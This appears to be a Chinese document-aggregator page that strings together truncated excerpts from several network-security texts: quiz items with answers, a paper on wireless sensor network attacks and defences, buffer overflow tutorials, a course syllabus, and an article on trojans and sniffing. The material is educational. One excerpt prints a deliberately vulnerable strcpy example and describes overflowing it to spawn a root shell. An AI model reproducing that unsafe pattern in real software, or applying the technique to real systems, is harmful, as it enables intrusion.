5.数字签名技术是公开密钥算法的一个典型应用,在发送端,采用(B)对要发送的信息进行数字签名。 A.发送者的公钥 B.发送者的私钥 C.接收者的公钥 D.接收者的私钥 6.数字证书采用公钥体制时,每个用户庙宇一把公钥,由本人公开,用其进行(A)。 A.加密和验证签名 B.解密和签名 C.加密 D.解密 7.对企业网络最大的威胁是( D )。 A. 黑客攻击 B. 外国政府 C. 竞争对手 D. 内部员工的恶意攻击

无线传感器网络攻击与防范_刘勇

本栏目责任编辑:冯蕾无线传感器网络攻击与防范 刘勇,侯荣旭 (沈阳工程学院计算中心,辽宁沈阳110136) 摘要:无线传感器网络安全机制的研究一直是传感器网络的研究热点,该文主要介绍了无线传感器网络各层的攻击方式以及各个攻击方式的防范措施。 关键词:无线传感器网络;安全;攻击;防范 中图分类号:TP393文献标识码:A 文章编号:1009-3044(2013)35-7927-02 Wireless Sensor Network Attack and Prevention LIU Yong,HOU Rong-xu (Computer Center,Shenyang Institute of Engineering,Shenyang 110136,China) Abstract:The security mechanism research of wireless sensor network has been a hot research topic of sensor networks,this pa?per mainly introduces the wireless sensor network attack means of each layer and the preventive measures against various attacks. Key words:Wireless Sensor Networks;security;attack;prevention 无线传感器网络(wireless sensor networks)是结合传感器技术、计算和通信的产物,并作为一种全新的信息获取和处理技术在国际上备受关注。由于现代科学的通讯技术和微型制造技术的不断提高,致使传感器不但具有感应外界环境的能力,而且还有独立处理信息和无线通讯的能力,外观上也变得越来越小。无线传感器网络属于自组织多跳式的网络,它可以在一定范围内自行组建网络,一个终端节点可以通过多条路径把信息传送到另一个节点。无线传感器网络通常适用于通讯距离较短和功率较低的通信技术上,但由于传感器网络自身的一些特性,致使其更容易遭受到各种形式的攻击。因此,无线传感器网络的安全面临着巨大挑战。 1无线传感器网络攻击与防范 无线传感器网络要想进入实际应用,安全因素是必须要考虑的,这样就需要可行的安全机制。作为一种特殊的Ad-hoc 网络,无线传感器网络又具有自组网络的多跳性、无中心性和自组织性等独特的特征,所以现有的网络安全机制没有办法用到本领域上。鉴于无线传感器网络面临的诸多威胁,并针对网络安全性能要求,下面我们将对无线传感器网络进行分层分析。 1.1物理层的攻击与防范 物理层的攻击包括物理破坏、信息泄露和拥塞攻击。由于无线传感器网络所处的环境比较恶劣,通常使用者没有办法进行现场监控,所以攻击者就可以利用这一特点轻易对该节点进行破坏或者进一步对节点进行内存重写以甚至替代该节点的攻击。又由于攻击者可以轻易监听暴露在物理空间上的无线信号,这样就造成信息的泄露。再者,攻击者还可以通过在无线传感器网络工作的频段上不断发射无用信号,致使该节点不能正常工作,如果这种攻击节点的密度达到一定程度时,就可以使得整个网络处于拥塞状态而无法进行正常工作。 物理层防范的关键之处在于建立有效的数据加密机制,因为传感器节点在计算能力和存储空间上有一定的局限性限,所以,轻量级的对称加密算法可以有效地被采用,同时非对称密钥加密系统也在探索之中,例如基于椭圆曲线的密钥系统。再者,扩频或者跳频技术也可以有效抵抗电波干扰。 1.2链路层的攻击和防范 数据链路层的攻击包括耗尽攻击、碰撞攻击和链路层DOS 攻击:攻击者可以利用无线传感器网络协议存在的漏洞,持续向一个节点发送数据包,最后使其忙于处理这些无意义的数据包而耗尽资源,从而令合法用户无法访问,这种攻击叫做耗尽攻击。而防止耗尽攻击的方法有限制节点的发送次数和在协议上设置重发次数的上限值等等。攻击者还可以利用数据链路层的媒体接入机制的漏洞进行传输数据包,从而进行碰撞攻击,这会使正常的数据无法传输,最终耗尽节点的能量资源,而防止碰撞攻击可以采用纠错编码、信道监听等手段来完善链路层的协议,具体为,先采用信道监听和重传机制来防止恶意节点数据包的碰撞攻击,再进行控制MAC 层的接入,使网络自动把过多的请求进行忽略,这样就可以不必对每个请求都应答,节省了通信的开销。攻击者还可以利用恶意节点或者被俘节点来不断在网络上发送高优先级的数据包来占据信道,导致其他节点无法传送正常的数据,这种DOS 攻击不但可以存在于数据链路层,还可以存在于物理层、网络层和传输层,对于DOS 攻击,可以采用短包策略或者弱化优先级之间的差异的方法来防止恶意节点发送的高优先级的数据包。 1.3网络层的攻击和防范 在无线传感器网络中,传感器节点大都密集分布在一个区域中,信息需要若干节点的传送才能到达目的地,又因为传感器网收稿日期:2013-09-20 作者简介:刘勇(1973-),男,辽宁沈阳人,高级实验师,硕士,主要研究方向为网络研究。 7927

缓冲区溢出攻击详细讲解

缓冲区溢出攻击详细讲解 缓冲区溢出(Buffer Overflow)是计算机安全领域内既经典而又古老的话题。随着计算机系统安全性的加强,传统的缓冲区溢出攻击方式可能变得不再奏效,相应的介绍缓冲区溢出原理的资料也变得“大众化”起来。其中看雪的《0day安全:软件漏洞分析技术》一书将缓冲区溢出攻击的原理阐述得简洁明了。本文参考该书对缓冲区溢出原理的讲解,并结合实际的代码实例进行验证。不过即便如此,完成一个简单的溢出代码也需要解决很多书中无法涉及的问题,尤其是面对较新的具有安全特性的编译器——比如MS的Visual Studio2010。接下来,我们结合具体代码,按照对缓冲区溢出原理的循序渐进地理解方式去挖掘缓冲区溢出背后的底层机制。 一、代码 <=> 数据 顾名思义,缓冲区溢出的含义是为缓冲区提供了多于其存储容量的数据,就像往杯子里倒入了过量的水一样。通常情况下,缓冲区溢出的数据只会破坏程序数据,造成意外终止。但是如果有人精心构造溢出数据的内容,那么就有可能获得系统的控制权!如果说用户(也可能是黑客)提供了水——缓冲区溢出攻击的数据,那么系统提供了溢出的容器——缓冲区。 缓冲区在系统中的表现形式是多样的,高级语言定义的变量、数组、结构体等在运行时可以说都是保存在缓冲区内的,因此所谓缓冲区可以更抽象地理解为一段可读写的内存区域,缓冲区攻击的最终目的就是希望系统能执行这块可读写内存中已经被蓄意设定好的恶意代码。按照冯·诺依曼存储程序原理,程序代码是作为二进制数据存储在内存的,同样程序的数据也在内存中,因此直接从内存的二进制形式上是无法区分哪些是数据哪些是代码的,这也为缓冲区溢出攻击提供了可能。

《网络攻击与防范》教学大纲

《网络攻击与防范》教学大纲 一、课程的基本描述 课程名称:网络攻击与防范 课程性质:专业课适用专业:计算机、软件、网络 总学时:85学时理论学时:34学时 实验学时:51学时课程设计:无 学分: 3.0学分开课学期:第五或第六学期 前导课程:计算机网络 后续课程: 二、课程教学目标 本课程主要介绍网络攻击的常规思路、常用方法、常见工具,以及针对攻击的网络防御方面常规的防御思路、防御方法和防御工具。通过该课程教学,学生应当: 能够深入理解当前网络通信协议中存在的缺陷和问题,理解当前系统和应用软件中可能潜在的漏洞和问题。了解当前技术条件下网络攻防的思路方法和相应的攻防工具。 培养现代计算机网络环境下,熟练使用各类常见攻防工具的能力,同时培养出查找问题、分析问题和解决问题的能力。 初步培养网络攻防方面的安全意识和危机意识。 三、知识点与学时分配 第一章网络攻防技术概述 教学要点:本章立足网络空间安全,介绍网络攻防的基本概念和相关技术。 教学时数:6学时 教学内容: 1.1 黑客、红客及红黑对抗 要点:了解黑客起源、发展,以及黑客、红客和红黑对抗的相关概念; 1.2 网络攻击的类型

要点:了解主动攻击、被动攻击的相关概念及方式; 1.3 网络攻击的属性 要点:掌握攻击中权限、转换防范和动作三种属性类型,加深对攻击过程的理解; 1.4 主要攻击方法 要点:了解端口扫描的概念及原理;了解口令攻击的概念及三种攻击方式;了解Hash 函数的相关概念,掌握彩虹表的工作原理;了解漏洞攻击的相关概念,以及产生的原因; 了解缓冲区溢出的概念,掌握缓冲区溢出的原理,以及利用缓冲区溢出攻击的过程;了解电子邮件攻击的概念,以及目标收割攻击的工作原理;了解高级持续威胁的概念、特点以及主要环节;了解社会工程学的概念,以及社会工程学攻击的方式、步骤; 1.5 网络攻击的实施过程 要点:掌握攻击实施的三个过程:包括攻击发起阶段可用于分析、评估的属性;攻击作用阶段的作用点判定原则;攻击结果阶段的具体表现评价方式; 1.6 网络攻击的发展趋势 要点:了解云计算及面临的攻击威胁、移动互联网面临的攻击威胁和大数据应用面临的攻击威胁等新应用产生的新攻击方式;了解网络攻击的演进过程和趋势;了解网络攻击的新特点。 考核要求:熟悉网络攻防的相关概念,能识别网络攻击方式及掌握攻击的评估方法。第二章 Windows操作系统的攻防 教学要点:从Windows操作系统基本结构入手,在了解其安全体系和机制的基础上,掌握相关的安全攻防技术。 教学时数:4学时 教学内容: 2.1 Windows操作系统的安全机制 要点:了解Windows操作系统的层次结构;了解Windows服务器的安全模型; 2.2 针对Windows数据的攻防 要点:掌握EFS、BitLocker两种加密方式的原理、实行步骤以及特点;了解数据存储采用的相关技术;了解数据处理安全的相关技术; 2.3 针对账户的攻防

缓冲区溢出攻击的分析及防范策略概要

缓冲区溢出攻击的分析及防范策略 摘要随着Internet及相关信息技术的迅速发展,网上的电子商务呈现出极大的增长势头,但是投入的增多意味着风险也随之而来,网络安全问 题成为各种网上活动需要考虑的头等大事。本文重点探讨一下缓冲区溢出对计算机系统造成的危害。因为几十年来,缓冲区溢出一直引起许多严重的安全性 问题。近年由CERT/CC(Computer Emergency Response Term/Coodination Center)发布的忠告中关于缓冲区溢出漏洞占56.76%以上。本文首先解释了缓 冲区溢出的概念,从程序语言本身存在缺陷,不够健壮的角度出发,对缓冲区 溢出的原理进行了详细的阐述;再次,通过一个会导致缓冲区溢出的程序代码 对缓冲区溢出攻击的产生进行了实例分析,同时还对Unix操作系统下的缓冲区溢出攻击进行了有针对性的分析,并总结出缓冲区溢出攻击的类型;最后,结 合缓冲区溢出攻击的类型,从系统管理和软件开发两个角度提出了缓冲区溢出 攻击的防范策略。关键字:缓冲区溢出攻击 AbstractWith the development of Internet and information technology, the great growth has appeared out in E-Commerce. But this trend lead to more venture, network security issue has become the cardinal task that various kinds of online activity need to consider.At present, the biggest problem on network is that computer software is usually not stalwart enough, sometimes such barrier will cause catastrophic result, especially when being utilized maliciously by the lawless person, the harm will hard to estimate.Buffer overflow attacking is a seriously problem in network security and cause serious security problems in recently years. Some program language have pestilent bug, for example, C program language doesn’t check the border of the array of number is apt to cause the buffer overflow, and therefore possibly cause the failure of program processing and paralysis of computer.This paper analysis deeply the principle and possible of buffer overflow attacking, and point out buffer overflow’s potential dangers. At last, according to the kinds of buffer overflow attacking, I put forward my own opinion of precautionary measures on buffer overflow attacking. Key Words: buffer overflow attacking 一缓冲区与出的概念及原理 1.1何谓缓冲区溢出缓冲区是用户为程序运行时在计算机中申请得的一段连 续的内存,它保存了给定类型的数据。缓冲区溢出指的是一种常见且危害很大 的系统攻击手段,通过向程序的缓冲区写入超出其长度的内容,造成缓冲区的 溢出,从而破坏程序的堆栈,使程序转而执行其他的指令,以达到攻击的目 的。 1.2缓冲区溢出的原理从上面的缓冲区溢出概念可以看出,缓冲区 溢出就是将一个超过缓冲区长度的字符串置入缓冲区的结果,这是由于程序设 计语言的一些漏洞,如C/C++语言中,不对缓冲区、数组及指针进行边界检 查,(strcpy()、strcat()、sprintf()、gets()等语句),在程序员也忽略对边界进行检查而向一个有限空间的缓冲区中置入过长的字符串可能会带来两种 结果:一是过长的字符串覆盖了相邻的存储单元,引起程序运行失败,严重的 可导致系统崩溃;另一种后果是利用这种漏洞可以执行任意指令,甚至可以取

缓冲区溢出攻击的分析及防范策略

缓冲区溢出攻击的分析及防范策略 系别:计算机科学系 班级:网络工程 姓名:姚康平 学号:3111101157 指导教师:乐丁惕 时间:2014-11-29

目录 1、缓冲区溢出攻击简介………………………………. 2、缓冲区溢出攻击原理………………………………. 3、缓冲区溢出攻击问题………………………………. 4、缓冲区溢出攻击危害……………………………….. 5、缓冲区溢出攻击防范方法…………………………… 6、缓冲区溢出攻击相关对策………………………….. 7、参考文献……………………………………………...

一、缓冲区溢出攻击简介 缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量,溢出的数据覆盖在合法数据上。理想的情况是:程序会检查数据长度,而且并不允许输入超过缓冲区长度的字符。但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下隐患。操作系统所使用的缓冲区,又被称为“堆栈”,在各个操作进程之间,指令会被临时储存在“堆栈”当中,“堆栈”也会出现缓冲区溢出。 二、缓冲区溢出攻击原理 通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。例如下面程序: void function(char *str) { char buffer[16]; strcpy(buffer,str); } 上面的strcpy()将直接把str中的内容copy到buffer中。这样只要str的长度大于16,就会造成buffer的溢出,使程序运行出错。存在像strcpy这样的问题的标准函数还有strcat()、sprintf()、vsprintf()、gets()、scanf()等。 当然,随便往缓冲区中填东西造成它溢出一般只会出现分段错误(Segmentation fault),而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell,再通过shell执行其它命令。如果该程序属于root且有suid权限的话,攻击者就获得了一个有root权限的shell,可以对系统进行任意操作了。 缓冲区溢出攻击之所以成为一种常见安全攻击手段其原因在于缓冲区溢出漏洞太普遍了,并且易于实现。而且,缓冲区溢出成为远程攻击的主要手段其原因在于缓冲区溢出漏洞给予了攻击者他所想要的一切:植入并且执行攻击代码。被植入的攻击代码以一定的权限运行有缓冲区溢出漏洞的程序,从而得到被攻击主机的控制权。 在1998年Lincoln实验室用来评估入侵检测的的5种远程攻击中,有2种是缓冲区溢出。而在1998年CERT的13份建议中,有9份是是与缓冲区溢出有关的,在1999年,至少有半数的建议是和缓冲区溢出有关的。在ugtraq的调查中,有2/3的被调查者认为缓冲区溢出漏洞是一个很严重的安全问题。 缓冲区溢出漏洞和攻击有很多种形式,会在第二节对他们进行描述和分类。相应地防卫手段也随者攻击方法的不同而不同,将在第四节描述,它的内容包括针对每种攻击类型的有效的防卫手段。 三、缓冲区溢出攻击问题 缓冲区溢出攻击的目的在于扰乱具有某些特权运行的程序的功能,这样可以使得攻击者取得程序的控制权,如果该程序具有足够的权限,那么整个主机就被控制了。一般而言,攻击者攻击root程序,然后执行类似“exec(sh)”的执行代码来获得root权限的shell。为了达到这个目的,攻击者必须达到如下的两个目标:

网络攻击及防范措施(一)

网络攻击及防范措施(一) 【摘要】随着互联网的发展,在计算机网络安全领域里,存在一些非法用户利用各种手段和系统的漏洞攻击计算机网络.网络安全已经成为人们日益关注的焦点问题网络中的安全漏洞无处不在,即便旧的安全漏洞补上了补丁,新的安全漏洞又将不断涌现.网络攻击是造成网络不安全的主要原因.单纯掌握攻击技术或者单纯掌握防御技术都不能适应网络安全技术的发展为了提高计算机网络的安全性,必须了解计算机网络的不安全因素和网络攻击的方法同时采取相应的防御措施。 【关键词】特洛伊木马网络监听缓冲区溢出攻击 1特洛伊木马 特洛伊木马是一种恶意程序,它们悄悄地在宿主机器上运行,就在用户毫无察觉的情况下,让攻击者获得了远程访问和控制系统的权限.黑客的特洛伊木马程序事先已经以某种方式潜入你的机器,并在适当的时候激活,潜伏在后台监视系统的运行,它同一般程序一样,能实现任何软件的任何功能.例如拷贝、删除文件、格式化硬盘、甚至发电子邮件,典型的特洛伊木马是窃取别人在网络上的账号和口令,它有时在用户合法的登录前伪造一登录现场,提示用户输入账号和口令,然后将账号和口令保存至一个文件中,显示登录错误,退出特洛伊木马程序。 完整的木马程序一般由两个部份组成:一个是服务器程序,一个是控制器程序.“中了木马”就是指安装了木马的服务器程序,若你的电脑被安装了服务器程序,则拥有控制器程序的人就可以通过网络控制你的电脑、为所欲为。 1.1特洛伊木马程序的检测 (1)通过网络连接检测:扫描端口是检测木马的常用方法.在不打开任何网络软件的前提下,接入互联网的计算机打开的只有139端口.因此可以关闭所有的网络软件。进行139端口的扫描。 (2)通过进程检测:Win/XP中按下“CTL+ALT+DEL”进入任务管理器,就可以看到系统正在运行的全部进程,清查可能发现的木马程序。 (3)通过软件检测:用户运行杀毒、防火墙软件和专用木马查杀软件等都可以检测系统中是否存在已知的木马程序。 1.2特洛伊木马程序的预防 (1)不执行任何来历不明的软件 (2)不随意打开邮件附件 (3)将资源管理器配置成始终显示扩展名 (4)尽量少用共享文件夹 (5)运行反木马实时监控程序 (6)经常升级系统 2网络监听 网络监听技术本来是提供给网络安全管理人员进行管理的工具,可以用来监视网络的状态、数据流动情况以及网络上传输的信息等.当信息以明文的形式在网络上传输时,使用监听技术进行攻击并不是一件难事,只要将网络接口设置成监听模式,便可以源源不断地将网上传输的信息截获。 在因特网上有很多使用以太网协议的局域网,许多主机通过电缆、集线器连在一起。当同一网络中的两台主机通信的时候,源主机将写有目的的主机地址的数据包直接发向目的主机。但这种数据包不能在IP层直接发送,必须从TCP/IP协议的IP层交给网络接口,也就是数据链路层,而网络接口是不会识别IP地址的,因此在网络接口数据包又增加了一部分以太帧头的信息。在帧头中有两个域,分别为只有网络接口才能识别的源主机和目的主机的物理地址,这是一个与IP地址相对应的48位的地址。

缓冲区溢出攻击与防范实验

实验十二缓冲区溢出攻击与防范实验 1.实验目的 通过实验掌握缓冲区溢出的原理;通过使用缓冲区溢出攻击软件模拟入侵远程主机;理解缓冲区溢出危险性;理解防范和避免缓冲区溢出攻击的措施。2.预备知识 2.1缓冲区溢出攻击简介 缓冲区溢出攻击之所以成为一种常见的攻击手段,其原因在于缓冲区溢出漏洞太普通了,并且易于实现。而且,缓冲区溢出所以成为远程攻击的主要手段,其原因在于缓冲区溢出漏洞给予了攻击者所想要的一切:植入并且执行攻击代码。被植入的攻击代码以一定的权限运行有缓冲区溢出漏洞的程序,从而得到被攻击主机的控制权。下面简单介绍缓冲区溢出的基本原理和预防办法。 (1)缓冲区概念 缓冲区是内存中存放数据的地方。在程序试图将数据放到机器内存中的某一个位置的时候,因为没有足够的空间就会发生缓冲区溢出。而人为的溢出则是有一定企图的,攻击者写一个超过缓冲区长度的字符串,植入到缓冲区,然后再向一个有限空间的缓冲区中植入超长的字符串,这时可能会出现两个结果:一是过长的字符串覆盖了相邻的存储单元,引起程序运行失败,严重的可导致系统崩溃;另一个结果就是利用这种漏洞可以执行任意指令,甚至可以取得系统root特级权限。 缓冲区是程序运行的时候机器内存中的一个连续块,它保存了给定类型的数据,随着动态分配变量会出现问题。大多时为了不占用太多的内存,一个有动态分配变量的程序在程序运行时才决定给它们分配多少内存。如果程序在动态分配缓冲区放入超长的数据,它就会溢出了。一个缓冲区溢出程序使用这个溢出的数据将汇编语言代码放到机器的内存里,通常是产生root权限的地方。仅仅单个的缓冲区溢出并不是问题的根本所在。但如果溢出送到能够以root权限运行命令的区域,一旦运行这些命令,那可就等于把机器拱手相让了。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。 缓冲区是一块用于存放数据的临时内存空间,它的长度事先已经被程序或操作系统定义好。缓冲区类似于一个杯子,写入的数据类似于倒入的水。缓冲区溢出就是将长度超过缓冲区大小的数据写入程序的缓冲区,造成缓冲区的溢出,从

常见网络攻击的手段与防范

常见网络攻击的手段与防范 侯建兵 赤峰学院计算机科学与技术系,赤峰024000 摘要:现在,Intemet上的网络攻击越来越猖獗,攻击手段也越来越先进,一旦被攻破,导致的损失也会越来越严重。如何有效地防止网络攻击已成为一个全球性的研究课题,受到全世界网络工作者的普遍重视,因此,针对黑客的网络攻击,提高网络的防护能力,保证信息安全已成为当务之急。为此本文列举了一些典型的网络攻击,将它们进行了分类,在分析其攻击原理的基础上,针对网络攻击的具体防御措施进行了 讨论和分析。 关键词:网络安全;网络攻击;安全策略;手段;措施;黑客攻击;防范技术 一.引言 随着Intemet的发展.高信息技术像一把双刃剑,带给我们无限益处的同时也带给网络更大的风险。网络安全已成为重中之重,攻击者无处不在。因此网络管理人员应该对攻击手段有一个全面深刻的认识,制订完善安全防护策略。孙子兵法上说,知己知彼,百战不殆。要想有效的防范黑客对我们电脑的入侵和破坏,仅仅被动的安装防火墙是显然不够的。我们必须对黑客的攻击方法、攻击原理、攻击过程有深入的、详细的了解,针对不同的方法采取不同的措施,做到有的放矢。只有这样才能更有效、更具有针对性的进行主动防护。 二.相关基本概念和网络攻击的特点 1.计算机网络安全的含义 从本质上来讲.网络安全包括组成网络系统的硬件、软件及其在网络上传输信息的安全性.使其不致因偶然的或者恶意的攻击遭到破坏,网络安全既有技术方面的问题,也有管理方面的问题,两方面相互补充,缺一不可。人为的网络入侵和攻击行为使得网络安全面临新的挑战。 2. 网络攻击概念性描述 网络攻击是利用信息系统自身存在的安全漏洞,进入对方网络系统或者是摧毁其硬件设施。其目的就是破坏网络安全的各项指标,破坏扰乱对方信息系统的正常运行,致使对方计算机网络和系统崩溃、失效或错误工作。 3. 计算机网络攻击的特点 计算机网络攻击具有下述特点:(1)损失巨大。由于攻击和入侵的对象是网络上的计算机。所以一旦他们取得成功,就会使网络中成千上万台计算机处于瘫痪状态,从而给计算机用户造成巨大的经济损失。(2)威胁社会和国家安全。一些计算机网络攻击者出于各种目的经常把政府要害部门和军事部门的计算机作为攻击目标,从而对社会和国家安全造成威胁。 (3)手段多样,手法隐蔽。计算机攻击的手段可以说五花八门。网络攻击者既可以通过监视网上数据来获取别人的保密信息;也可以通过截取别人的帐号和口令堂而皇之地进入别人的

相关文档